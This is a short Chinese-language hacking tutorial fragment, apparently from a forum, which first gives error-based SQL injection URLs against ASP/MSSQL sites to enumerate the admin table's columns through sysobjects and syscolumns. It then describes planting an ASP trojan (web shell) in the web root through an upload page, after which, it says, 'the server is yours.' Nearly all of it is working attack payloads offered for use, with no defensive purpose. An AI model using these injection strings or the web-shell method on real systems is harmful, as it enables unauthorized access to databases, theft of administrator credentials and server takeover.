| 你碰到了"数据库连接出现问题"
可以这样：暴出表中的字段
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype=';U'; and name=';admin';
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交：
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
提交：
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569 and name not in
(';id';,...))
来暴出其他的字段
“关于木马上传”
如 http://127.0.0.1/ftp.asp （这里假设服务器的ip是 127.0.0.1）
在生成文件栏 输入将在服务器上生成的文件名比如：C:\Inetpub\wwwroot\Server.asp
在文件内容里 ，随意的粘贴一个asp代码
点递交，当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。
浏览http://127.0.0.1/Server.ASP 服务器就是你的了。
|
